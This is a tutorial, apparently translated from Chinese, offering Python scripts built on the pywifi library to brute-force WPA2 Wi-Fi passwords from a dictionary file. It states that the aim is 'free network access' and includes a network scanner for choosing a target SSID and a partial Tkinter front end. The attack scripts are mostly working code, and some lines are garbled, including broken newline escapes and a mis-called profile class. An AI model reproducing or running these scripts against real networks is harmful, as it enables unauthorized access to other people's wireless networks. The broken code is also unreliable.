How to Crack Wi‑Fi Passwords with Python: A Step‑by‑Step Guide

Introduction

This article records how to use a Python script to perform Wi‑Fi password brute‑force cracking, enabling free network access.

Command‑line version

import pywifi
from pywifi import const
import time, datetime

def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "Tr0e"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        tmp_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tmp_profile)
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    path = "pwd.txt"
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline().strip('
')
            ok = wifiConnect(pwd)
            if ok:
                print("[*] 密码已破解：", pwd)
                print("[*] WiFi已自动连接！！！")
                success = True
                break
            else:
                print("正在破解 SSID 为 %s 的 WIFI密码，当前校验的密码为：%s" % ("Tr0e", pwd))
        except:
            continue
    end = datetime.datetime.now()
    if success:
        print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))
    else:
        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码，请更换密码字典后重新尝试！")
    exit(0)

if __name__ == "__main__":
    readPassword()

The script reads passwords from pwd.txt, attempts to connect to the target SSID, and reports success or failure.

Script optimization

The original script hard‑codes the SSID and dictionary path, so it is refactored to allow flexible input and to add Wi‑Fi scanning.

import pywifi, time
from pywifi import const

def wifi_scan():
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    iface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描可用 WiFi 中，请稍后...({})'.format(3 - i), end='')
    print('\r扫描完成！
' + '-'*38)
    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    bss = iface.scan_results()
    wifi_name_set = set()
    for w in bss:
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
    for num, item in enumerate(wifi_name_list):
        print('{:<6d}{:<8d}{}'.format(num, item[0], item[1]))
    return wifi_name_list

# ... (rest of the cracking functions using the selected SSID)

The scanning function lists nearby networks with signal strength, allowing the user to choose which SSID to attack.

Graphical user interface (Tkinter)

A simple Tkinter UI is built to let users select the target Wi‑Fi, load a password dictionary file, and start cracking.

from tkinter import *
from pywifi import const, PyWiFi
import time

def wificonnect(pwd, ssid):
    wifi = PyWiFi()
    iface = wifi.interfaces()[0]
    iface.disconnect()
    time.sleep(1)
    if iface.status() == const.IFACE_DISCONNECTED:
        profile = PyWiFi.Profile()
        profile.ssid = ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        iface.remove_all_network_profiles()
        tmp = iface.add_network_profile(profile)
        iface.connect(tmp)
        time.sleep(3)
        return iface.status() == const.IFACE_CONNECTED
    return False

root = Tk()
root.title('WiFi破解')
root.geometry('500x400')
# UI widgets (labels, entry fields, listbox, buttons) omitted for brevity
root.mainloop()

The GUI version adds password‑file browsing, Wi‑Fi list display with a Treeview, and result messages.

Summary

The article demonstrates both command‑line and GUI methods for Wi‑Fi brute‑force cracking using the pywifi library, highlights the need for multithreading to speed up the process, and briefly mentions that similar tools can be built with PyQt5.